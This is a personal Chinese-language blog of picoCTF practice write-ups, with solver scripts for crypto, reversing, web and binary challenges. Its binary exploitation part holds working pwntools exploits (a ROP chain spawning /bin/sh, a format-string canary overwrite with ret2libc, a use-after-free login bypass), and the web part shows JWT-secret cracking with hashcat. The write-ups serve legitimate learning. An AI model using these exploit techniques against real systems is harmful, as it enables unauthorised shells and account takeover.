picoCTF WriteUps

這篇會寫自己解 picoCTF 上面的 picoGym 的一些分數比較高的題目的方法。

內容會根據自己的解題進度慢慢更新,最後更新: 2020/12/09。

Cryptography

la cifra de

題目名稱是法文,然後 ciphertext 也很明顯就是 Vigenère cipher,直接查個線上的 decoder 就好了。

rsa-pop-quiz

有很多關於 RSA 的問題,不過熟悉的話很簡單,建議打開個 python 在旁邊做計算用。最後算出的 plaintext 就直接轉換成 string 就是 flag 了。

這題不知道為什麼放置久了 socket 自己就沒回應了

Tapping

Morse Code

Mr-Worldwide

有很多明顯是經緯度的座標,丟到 Google Map 上去看那個地點的名稱的英文,取第一個字母(大寫)就好了。例如 (35.028309, 135.753082) 定位到京都,所以是字母 K (Kyoto)。

waves over lambda

一看就是 substitution cipher,找個線上的破解器如這個就能搞定。

miniRSA

e 為 3,所以可以用開立方根的方式來攻擊,詳見 CTF Wiki

1
2
3
4
5
6
7
8
9
import gmpy2
n = 29331922499794985782735976045591164936683059380558950386560160105740343201513369939006307531165922708949619162698623675349030430859547825708994708321803705309459438099340427770580064400911431856656901982789948285309956111848686906152664473350940486507451771223435835260168971210087470894448460745593956840586530527915802541450092946574694809584880896601317519794442862977471129319781313161842056501715040555964011899589002863730868679527184420789010551475067862907739054966183120621407246398518098981106431219207697870293412176440482900183550467375190239898455201170831410460483829448603477361305838743852756938687673
c = 2205316413931134031074603746928247799030155221252519872649649212867614751848436763801274360463406171277838056821437115883619169702963504606017565783537203207707757768473109845162808575425972525116337319108047893250549462147185741761825125

for k in range(100000):
[r, exact] = gmpy2.iroot(c+n*k, 3)
if exact:
print(k)
print(bytes.fromhex(hex(r)[2:]))

因為數字很大的緣故所以沒辦法用 pow 來驗證是不是整數的三次方,就用了 gmpy2

另一個方法是用 RsaCtfTool 的 cube_root Attack,它用了二分搜

b00tl3gRSA2

我們得到的 e 很大,但實際應用上來說 e 並不大,所以那個 e 實際上大概是 d。

再來 RSA 就數學上來說用 e 或 d 來加密是沒有差的,不過因為 e 和 d 一般都有一定的大小差距,所以有些特殊的方法可以在特定情況下幫你破解 RSA。像是 Google 搜尋一下 RSA small d 就告訴我們有個 Wiener's attack 可以應用在這種情況下。

要攻擊的話就直接用 RsaCtfTool 比較簡單: python RsaCtfTool.py -e $e -n $n --uncipher $c --attack wiener

AES-ABC

看了一下它的程式碼是使用 AES-ECB 之後再自己做了一些奇怪運算的,而 ECB 用在圖片上不是能很好的保護資料,像是維基百科就有相關的介紹

所以我們只要能找到原本 ECB 加密的密文其實就夠了,而它的運算基本上就是 blocks[0]=ivblocks[i+1]=(blocks[i] + ecb_blocks[i+1]) % UMAX 而已,所以只要把它反過來運算就行了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from z3 import *

with open('body.enc.ppm', 'rb') as f:
header = f.readline()+f.readline()+f.readline()
cur = f.tell()
sz = f.seek(0, 2)-cur
f.seek(cur)
blocks = []
for i in range(sz//16):
blocks.append(int.from_bytes(f.read(16), byteorder='big'))

UMAX = 256**16

blocks_ebc = []
for i in range(len(blocks)-1):
blocks_ebc.append((blocks[i+1]-blocks[i]) % UMAX)

data = header+b''.join([blk.to_bytes(16, byteorder='big')
for blk in blocks_ebc])
with open('body.ppm', 'wb') as f:
f.write(data)

想用 z3 解也是可以,不過需要多花點時間(約一分鐘),因為資料量比較大

b00tl3gRSA3

這題的關鍵在於它用了多個質數,而多個質數所相乘的比起雙質數的要好分解很多,所以就直接給他分解,算出 然後就能求 d 解密了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
from sympy.ntheory import factorint

p = remote("jupiter.challenges.picoctf.org", 51575)

p.readuntil('c: ')
c = int(p.readline())
p.readuntil('n: ')
n = int(p.readline())
p.readuntil('e: ')
e = int(p.readline())

print(c, n, e)

def totient(n):
f = factorint(n)
print(f)
r = 1
for a, b in f.items():
r *= a**(b-1) * (a-1)
return r

l = totient(n)
print(l)
d = pow(e, -1, l)
m = pow(c, d, n)
print(bytes.fromhex(hex(m)[2:]))

john_pollard

先用 openssl 得到 public key: openssl x509 -pubkey -noout -in cert > cert.pub,然後輸出他的資訊 openssl rsa -pubin -in cert.pub -text:

1
2
3
4
5
6
7
RSA Public-Key: (53 bit)
Modulus: 4966306421059967 (0x11a4d45212b17f)
Exponent: 65537 (0x10001)
writing RSA key
-----BEGIN PUBLIC KEY-----
MCIwDQYJKoZIhvcNAQEBBQADEQAwDgIHEaTUUhKxfwIDAQAB
-----END PUBLIC KEY-----

不用 openssl 的話也能用 RsaCtfTool--dumpkey 功能,可以很容易的取得 RSA 的參數

一看就發現他的 n 很小,所以丟上 WolframAlpha 就直接能幫我分解了: factor 4966306421059967

得到 p q 之後就按照他的格式 picoCTF{p,q} 輸入就可以了,如果錯的話就交換一下。

Reverse Engineering

vault-door-1

很簡單,直接按照 index 去重排就可以了,懶得手動的也能寫個簡單程式處裡:

1
2
3
4
5
6
7
8
9
10
s = `` // 有 index 的那段 java 程式
o = Object.assign(
...s.split('\n').map((l) => {
let i = parseInt(/\d+/.exec(l)[0])
let ch = /'(\w+)'/.exec(l)[1]
return { [i]: ch }
})
)
o.length = 32
console.log(Array.from(o).join(''))

vault-door-3

可以用動腦的去把它的算法反過來,不過懶得話可以直接使用 z3:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from z3 import *

p = String('p')
s = Solver()

s.add(Length(p) == 32)

chs = list('jU5t_a_sna_3lpm18g947_u_4_m9r54f')
for i in range(0, 8):
s.add(p[i] == ord(chs[i]))
for i in range(8, 16):
s.add(p[i] == ord(chs[23-i]))
for i in range(16, 32, 2):
s.add(p[i] == ord(chs[46-i]))
for i in range(31, 16, -2):
s.add(p[i] == ord(chs[i]))

if s.check() == sat:
print(s.model())
else:
print(s.unsat_core())

vault-door-4

想辦法把它的各種格式轉換一下就好了,像是轉成 python 能接受的 input 直接貼進去。

vault-door-5

Base64 + URL encoding

vault-door-6

丟進 python 做 xor

vault-door-7

簡單的 Shifting:

1
2
3
4
5
6
7
x = [1096770097, 1952395366, 1600270708, 1601398833,
1716808014, 1734304867, 942695730, 942748212]

flag = b''
for y in x:
flag += bytes.fromhex(hex(y)[2:])
print(flag)

vault-door-8

我懶得在 python 把它的算法重寫一遍,就直接用它的 java 來改了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import java.util. * ;
import java.lang. * ;
import java.io. * ;

class Ideone {
public static void main(String[] args) throws java.lang.Exception {
char[] ar = {
// 很長的那個陣列,請自己貼上
};
for (int i = 0; i < ar.length; i++) {
char c = ar[i];
c = switchBits(c, 6, 7);
c = switchBits(c, 2, 5);
c = switchBits(c, 3, 4);
c = switchBits(c, 0, 1);
c = switchBits(c, 4, 7);

c = switchBits(c, 5, 6);
c = switchBits(c, 0, 3);
c = switchBits(c, 1, 2);
ar[i] = c;
}
System.out.println(new String(ar));
}

public static char switchBits(char c, int p1, int p2) {
char mask1 = (char)(1 << p1);
char mask2 = (char)(1 << p2);
char bit1 = (char)(c & mask1);
char bit2 = (char)(c & mask2);
char rest = (char)(c & ~ (mask1 | mask2));
char shift = (char)(p2 - p1);
char result = (char)((bit1 << shift) | (bit2 >> shift) | rest);
return result;
}
}

Forky

簡單的作法是直接 gdb 打開,在 doNothing 打斷點,然後 p/d $eax 就能看到答案了(注意是 Signed 的才是)。

用分析的話會發現它 fork 四次,所以一共有 1*2*2*2*2 個 child,所以最後的值會是 1000000000 + 16 * 1234567890

OTP Implementation

反編譯之後就看到一些奇怪的算法,不過直接 z3 用下去就輕鬆解開了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from z3 import *

x = [ord(c)-97 for c in "lfmhjmnahapkechbanheabbfjladhbplbnfaijdajpnljecghmoafbljlaamhpaheonlmnpmaddhngbgbhobgnofjgeaomadbidl"]
key = String('key')
s = Solver()
s.add(Length(key) == len(x))

def fn(a1):
v2 = If(a1 > 96, a1+9, a1)
v3 = 2*(v2 % 16)
return If(v3 > 15, v3+1, v3)

for i in range(len(x)):
c = key[i]
s.add(Or(And(47 < c, c <= 57), And(96 < c, c <= 102)))

s.add(fn(key[0]) % 16 == x[0])
for i in range(1, len(x)):
v4 = fn(key[i])
v5 = x[i-1]+v4
v6 = (((x[i-1]+v4) >> 31) & 0xffffffff) >> 28
s.add(x[i] == (((v6+v5) & 0xF)-v6))

assert(s.check() == sat)
m = s.model()
key = m[key].as_string()
print(key)
k = int(key, 16)
flag = int(
"a5d47ae6ffa911de9d2b1b7611c47a1c43202a32f0042246f822c82345328becd5b8ec4118660f9b8cdc98bd1a41141943a9", 16)
flag ^= k
print(''.join([chr(c) for c in bytes.fromhex(hex(flag)[2::])]))

reverse_cipher

一樣是 z3 下去解決:

1
2
3
4
5
6
7
8
9
10
11
12
13
from z3 import *

target = [ord(c) for c in "w1{1wq84fb<1>49"]
key = String('key')
s = Solver()

s.add(Length(key) == len(target))
for i in range(len(target)):
c = key[i]
s.add(If(i & 1 != 0, c-2, c+5) == target[i])

assert(s.check() == sat)
print('picoCTF{%s}' % s.model()[key].as_string())

asm1

雖然可以自己讀 asm,只是我覺得或許可以用個程式來直接執行它:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import sys
import re
from pwn import *

if len(sys.argv) < 3:
# python asm.py $FILE $PREFIX
sys.exit()

with open(sys.argv[1], 'r') as f:
lines = f.readlines()

prog = ''
lst_lbl = None
for line in lines[1:]:
line = re.sub(r'<\+(\d+)>', r'L\1', line)
line = re.sub(r'0x.*?<.*?\+(\d+)>', r'L\1', line)
prog += line
lbl = re.search(r'L\d+', line)
if lbl:
lsl_lbl = lbl[0]


def wrap(prog, prefix):
return f'{prefix};push eax;'+prog


prog = wrap(prog, sys.argv[2])
print(prog)
context.arch = 'x86'
context.terminal = ['xfce4-terminal', '-e'] # 要改成自己可以用的 terminal emulator
gdb.debug_assembly(prog, gdbscript=f'b {lst_lbl}\nc\np $eax')

呼叫這個程式就用: python asm.py asm1.S "push 0x2e0;" 就有答案了。

asm2

用 asm1 的程式呼叫 python asm.py asm2.S "push 0x2d;push 0x4;"

asm3

用 asm1 的程式呼叫 python asm.py asmˇ.S "push 0xd3c8b139;push 0xd48672ae;push 0xd73346ed;"

asm4

這個因為要呼叫 string,所以沒辦法用上面的程式去跑,需要另外 assemble。

我的第一個解法是用 Windows 下的 MASM 和 Irvine32 這個 library 的函數來搞定的。

另一個方法是直接寫個 C 然後讓 gcc 去 assemble:

1
2
3
4
5
6
7
#include <stdio.h>

int asm4(char *s);

int main() {
printf("0x%x", asm4("picoCTF_a3112"));
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import os
import sys
import re

if len(sys.argv) < 3:
print(f'python {sys.argv[0]} $ASM_FILE $C_FILE')
sys.exit()

asm_file = sys.argv[1]
c_file = sys.argv[2]

with open(asm_file, 'r') as f:
lines = f.readlines()

prog = ''
lst_lbl = None
for line in lines:
line = re.sub(r'<\+(\d+)>:', r'', line)
line = re.sub(r'0x.*?<(.*?\+\d+)>', r'\1', line)
prog += line
lbl = re.search(r'L\d+', line)
if lbl:
lsl_lbl = lbl[0]

fname=lines[0].split(':')[0]
with open(f'{asm_file}.tmp.S', 'w') as f:
f.write(f'.intel_syntax noprefix\n.global {fname}\n'+prog+'\n.att_syntax noprefix')
os.system(f'gcc -m32 -c {asm_file}.tmp.S -o {asm_file}.o')
os.system(f'gcc -m32 -c {c_file} -o {c_file}.o')
os.system(f'gcc -m32 {c_file}.o {asm_file}.o -o a.out')
os.system(f'./a.out')
os.system(f'rm a.out')
os.system(f'rm {asm_file}.tmp.S')
os.system(f'rm {asm_file}.o {c_file}.o')

然後執行 python asm.py asm4.S asm4.c

Need For Speed

丟進 IDA 一看發現它是用 alarm 來處裡的,所以丟進 gdb 裡面用 handle SIGALRM ignore,然後讓它跑一下後 flag 就出來了。

Web Exploitation

Java Script Kiddie

它的程式基本上就是對於一個固定的 bytes 視為二維陣列做一些 shifting,不過因為結果是 png 所以我們可以確定最後的結果有一些區塊的資訊,像是 Header, IHDR, IEND,所以就能用來作為 z3 的約束條件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from z3 import *
from functools import reduce

data = [] # bytes

s = Solver()
arr = Array('arr', IntSort(), IntSort())
for i in range(len(data)):
s.add(arr[i] == data[i]) # arr = Store(arr, i, data[i]) is very slow
shifters = [Int(f's_{i}') for i in range(16)]
for x in shifters:
s.add(0 <= x)
s.add(x <= 9)
result = [0]*len(data)
for i in range(16):
shifter = shifters[i]
for j in range(len(data)//16):
result[(j*16)+i] = arr[(((j+shifter)*16) % len(data))+i]

header = [0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a,0x0a,
0x00, 0x00, 0x00, 0x0d, 0x49, 0x48, 0x44, 0x52] # Header + IHDR
for i in range(len(header)):
s.add(result[i] == header[i])

while s.check() == sat:
m = s.model()
shs = [m[x].as_long() for x in shifters]
result=[0]*len(data)
for i in range(16):
sh=shs[i]
for j in range(len(data)//16):
result[(j*16)+i] = data[(((j+sh)*16) % len(data))+i]
if 'IEND' in ''.join([chr(c) for c in result]): # Checks for IEND as there are multiple satisifying solutions
print(''.join([str(s) for s in shs]))
s.add(reduce(Or, [x != m[x].as_long() for x in shifters]))

Java Script Kiddie 2

這題基本上和上題差不多,只是 key 的長度變兩倍,不過很容易可以看出它的 key 實際上有用到的也只有一半的字元,所以根本就和上題一模一樣。不過這題使用 z3 求解時發現最後只檢查 IEND 是不夠的,還要把它的長度標記和 CRC 也放進去,然後就會發現只剩下兩個解,然後自己手動測試一下就好了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from z3 import *
from functools import reduce

data = [] # bytes

s = Solver()
arr = Array('arr', IntSort(), IntSort())
for i in range(len(data)):
s.add(arr[i] == data[i]) # arr = Store(arr, i, data[i]) is very slow
shifters = [Int(f's_{i}') for i in range(16)]
for x in shifters:
s.add(0 <= x)
s.add(x <= 9)
result = [0]*len(data)
for i in range(16):
shifter = shifters[i]
for j in range(len(data)//16):
result[(j*16)+i] = arr[(((j+shifter)*16) % len(data))+i]

header = [0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a,
0x0a, 0x00, 0x00, 0x00, 0x0d, 0x49, 0x48, 0x44, 0x52] # Header + IHDR
for i in range(len(header)):
s.add(result[i] == header[i])

while s.check() == sat:
m = s.model()
shs = [m[x].as_long() for x in shifters]
result = [0]*len(data)
for i in range(16):
sh = shs[i]
for j in range(len(data)//16):
result[(j*16)+i] = data[(((j+sh)*16) % len(data))+i]
if ''.join([chr(c) for c in [0x00, 0x00, 0x00, 0x00, 0x49, 0x45, 0x4e, 0x44, 0xae, 0x42, 0x60, 0x82]]) in ''.join([chr(c) for c in result]): # Full IEND
print(''.join([str(s)+'0' for s in shs]))
s.add(reduce(Or, [x != m[x].as_long() for x in shifters]))

JaWT Scratchpad

這題就是要想辦法進入 admin 的帳號,但是它不給你直接進去。而它的驗證方法是使用存在 cookie 裡面的 JWT,一種驗證的方法。

JWT 簡單來說就是想在 client 端存一些不是機密的資訊,但是卻又不想 client 亂改資料的方法。概念上就是在 cookie 裡面存 data + '.' + hash(data + secret),當伺服器收到時會驗證看看 data 和後面 hash 過的 signature 符不符合,而 client side 因為沒有 secret 所以也沒辦法產生後面的 signature 所以沒辦法竄改。不過既然是 hash 的話其實可以想辦法去暴力破解那個 secret,或是字典攻擊之類的。

隨便進入一個帳號之後在 cookie 中拿到 jwt,丟到 jwt.io 上看一下它的資料很簡單,就是存一個 user 名稱而已,所以只要找到 secret 之後把 user 改掉就好了。

其實網頁下面有給個 JohnTheRipper 的連結,就是想告訴你怎麼去找那個 secret 的意思。不過我是以前就有弄過 hashcat 了,所以直接用比較方便。而它的 secret 可以先使用看看字典攻擊: .\hashcat.exe -a0 -m 16500 "JWT放這" 字典檔路徑

雖然 hashcat 預設有個 example.dict,只是那個太小了,是找不到這題的答案的,所以要自己去找大點的字典檔才行,像是我用的是 CrackStation 上面比較小的那個字典檔 (crackstation-human-only.txt)。

hashcat 在 RTX2080S 上用那個字典檔幾秒鐘就找出 secret 了,所以得到後改一下 JWT 就破能看到 flag 了。

General Skills

mus1c

它的歌詞看起來就很像程式語言,然後我以前也好像有聽過有讓你用歌詞寫程式的語言,所以透過 Google 查了一下關鍵字發現是 rockstar 這個特殊的語言。

因為那個網站上就有直接能使用的 intepreter,所以貼上去直接執行會得到一些數字,用 ascii 轉換完就好了。

1_wanna_b3_a_r0ck5tar

這題是上題的後續,不過直接執行是看不到什麼的,然後我看了一下覺得它應該是有要你輸入正確的輸入才行的,只是在不會這個語言的情況下不知道怎麼辦。所以我就想有沒有人寫轉換它到其他語言的工具在,然後就找到了 rockstar-py,用它轉換一下之後就能很容易的看出它所需的正確輸入了。

flag_shop

目標就是想辦法讓前的數量超過 100000 去買到 flag,然後可以注意到它在輸入 number_flags 的時候是 int32,然後 total_case = 900 * number_flags 也是,所以就想辦法讓它 overflow 到負數就好了,所以輸入到一個很大的數字能讓它 overflow 就好了。

不過解完之後我比較好奇的是至少要輸入多少才能有足夠的錢,所以用算了一下 (注意它裡面買 flag 的判斷是 balance > 100000):

1
2
3
4
from z3 import *

x = BitVec('x', 32)
solve((x*900) % (1 << 31) == -100000+1100-4) # [x = 830360234]

Binary Exploitation

Guessing Game 1

這題一開始要你猜數字,而那段並沒有 buffer overflow 的問題,不過在猜對數字後的 win() 函數裡面就能讓它 overflow 了。

接下來可以用 checksec 去檢查一下它的保護有什麼:

1
2
3
> /usr/bin/checksec --file=vuln
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 1844) Symbols No 0 0 vuln

這邊看到它有 NX 啟用著,所以 stack 上的是沒辦法執行的,所以可以考慮用 ROP 讓它去 call execve 看看。

不知道 ROP 在做什麼的我推薦這篇: 緩衝區溢位攻擊之三(Buffer Overflow)

要 call execve("/bin/sh", NULL, NULL) 需要這些:

1
2
3
4
5
mov rax, 0xb ; execve
mov rbx, 0x12345678 ; address of "/bin/sh"
mov ecx, 0
mov edx, 0
int 0x80 ; syscall

首先我們需要個可以放 "/bin/sh" 的空間,這個直接 objdump -s -j .data ./vuln 裡面隨便挑一塊就好。然後要把東西塞到記憶體裡面需要個 mov qword ptr [rdx], rax 之類的的 instruction,所以用 ROPgadget --binary ./vuln --only 'mov|ret' | grep ptr 找找看有沒有相關的 gadgets 能用,像是我用的是 0x000000000047ff91 : mov qword ptr [rsi], rax ; ret

所以要放進去的話還需要給 rsi 填上剛剛找的記憶體空間,以及給 rax 填上 /bin/sh (正好 8 bytes,在 64 位下一個 instruction 就夠了)。把上面的指令後面的 grep 修改一下就能找到了。

之後為了要改 rbx 我找到了 0x0000000000482776 : pop rax ; pop rdx ; pop rbx ; ret (使用 ROPgadget --binary vuln --only 'pop|ret' | grep rbx),這個還能順便改 raxrdx,比較方便。

至於 rcx 的話因為一般來說 rcx 會是 0 的機率比較高,而且也找不到 pop rcx 的 gadgets 就不管它了。

所以就得到了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

elf = ELF('./vuln')
pop_rsi = 0x410ca3
binsh = 0x6bb400 # random chosen data section
pop_rax = 0x4163f4
mov_dword_ptr_rsi_rax = 0x47ff91
pop_rax_rdx_rbx = 0x482776
int_80 = 0x468fea
rop = flat([pop_rsi, binsh, pop_rax, b'/bin/sh\0',
mov_dword_ptr_rsi_rax, pop_rax_rdx_rbx, 0xb, 0x0, binsh, int_80])
payload = b'a'*(0x70+8) + rop

p = remote('jupiter.challenges.picoctf.org', 51462) # process('./vuln')
while True:
line = p.readline()
if b"like to guess" in line:
p.sendline("2")
elif b"Congrats" in line:
p.sendline(payload)
break
p.interactive()

Guessing Game 2

首先一樣是要你猜數字,只是注意到 get_random 裡面回傳的是函數 rand 的位置,所以用 gdb 理論上是可以弄到的,但因為是在對方的 server 上執行,libc 的版本應該都是不同的,所以只能暴力找:

1
2
3
4
5
6
7
8
from pwn import *
p = remote('jupiter.challenges.picoctf.org', 13775)
for i in range(-4100, 4100): # Note: -5 % 3 == -1 in C
p.recvuntil('What number')
p.sendline(str(i))
if b'Congrats' in p.recvline():
print(i)
break

給不想花時間在這上面的人,答案是 -31

再來是到 win() 函數,有明顯的 buffer overflow 和 format string 兩個問題,所以先來做些檢查看看要用什麼方法。checksec 告訴你有 NX, Canary, RELRO,只有 PIE 沒有,然後再用 ROPgadget 看一下有沒有 syscall 或是 int 0x80,只是也找不到,最後找找看 /bin/sh 的 string 也是沒有,所以大概只剩下 return to libc 能用了。

不過它沒有提供給我們 libc,所以只能想辦法找,就先在 local 這邊用 gdb 找一下各個重要 address 和 format string 的 offset 是多少,然後再用 LibcSearcher 去找 libc 版本,然後就能很方便的算出 address 了。

找到 address 了之後就想辦法在 stack 的 ret 位置寫入 system、ret+4 寫入一個無用的 address、ret+8 寫入 /bin/sh 的位置去模擬 x86 的 function call,然後記得要把 canary 也蓋過去。不過在蓋 canary 時可能會遇到個問題是 null byte 的問題,因為它讀取輸入的函數是 gets(),所以就在 stack 上找到一個指到 stack 本身某個位置的 offset,之後找到那個的值之後找到 canary 在 stack 上的 address,然後用 printf() 去寫入就好了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
from LibcSearcher import LibcSearcher

context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'i386'

def bytehex2int(x):
return int(str(x[2:], 'ascii'), 16)

p = remote('jupiter.challenges.picoctf.org', 13775) # process('./vuln')

def write_payload(payload):
# remote = -31 # my libc = -1263 # libc patched version = -3023
p.sendline('-31')
p.recvuntil('Name?')
p.sendline(payload)
p.recvuntil('Congrats: ')
return p.recvline()[:-1]

offset = 7
# canary offset = 119, ret offset = 139, printf+5 offset = 134, ptr to welecome stk str = 51
resp = write_payload('%119$p %139$p %134$p %51$p')
canary, ret, printf, welcome_str_stk_addr = [
bytehex2int(x) for x in resp.split(b' ')]
printf -= 5
canary_addr = welcome_str_stk_addr+260 # canary address on stack
print(hex(canary))
print(hex(ret))
print(hex(printf))
libc = LibcSearcher('printf', printf) # server's libc is libc6-i386_2.27-3ubuntu1.2_amd64
base = printf-libc.dump('printf')
system = base+libc.dump('system')
binsh = base+libc.dump('str_bin_sh')
print(hex(system))
print(hex(binsh))

# override canary using printf as `gets` won't read pass null byte
write_canary = fmtstr_payload(offset, {canary_addr: canary})
junk = b'a'*(0x200-len(write_canary))
payload = write_canary+junk+p32(canary)+b'a'*12+flat([system, 0, binsh])
print(write_payload(payload))
p.interactive()

messy-malloc

這題看到它在 logout 的時候會先把 user free 掉之後再 free username,而 login 時是先 malloc user 再 malloc username。所以如果 username 的大小和 user 一樣是 32 bytes 的話就代表第二個帳號所使用到的記憶體空間會和前次的 username 共享,所以所擁有的值和上次 username 裡面所存的是一樣的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

payload = b'a'*8+b'ROOT_ACCESS_CODE'
print(payload)
p = remote('jupiter.challenges.picoctf.org', 19568) # process('./auth')
p.sendlineafter("command", "login")
p.sendlineafter("length", "31")
p.sendlineafter("username", payload)
p.sendlineafter("command", "logout")
p.sendlineafter("command","login")
p.sendlineafter("length","31")
p.sendlineafter("username","C8763")
p.sendlineafter("command", "print-flag")
p.recv(2)
print(p.recvline())

要成功使用這個的話可能 libc 版本也要對,因為我用它原本的 binary 會失敗,不 patch 過的話沒辦法成功

seed-sPRiNG

這題打開之後一下子就能看出意圖了,就是它先 srand(time(0)) 之後產生 30 個數字,然後全部都要輸入正確才行。所以想法很簡單,就是想辦法在同個時間做一樣的事輸出過去就好了。

1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main() {
srand(time(0));
for (int i = 1; i <= 30; i++) {
printf("%d\n", rand() & 0xF);
}
return 0;
}

不過你在本地端跑這個再 pipe 進 nc 會發現不會成功,因為伺服器端的時間和本地一定有差距的,而且還有延遲問題。不過別忘記 picoCTF 有提供個 webshell 的功能,是在對方的伺服器上跑的,所以想辦法把東西放上去編譯,然後執行然後 pipe 進去就可以了。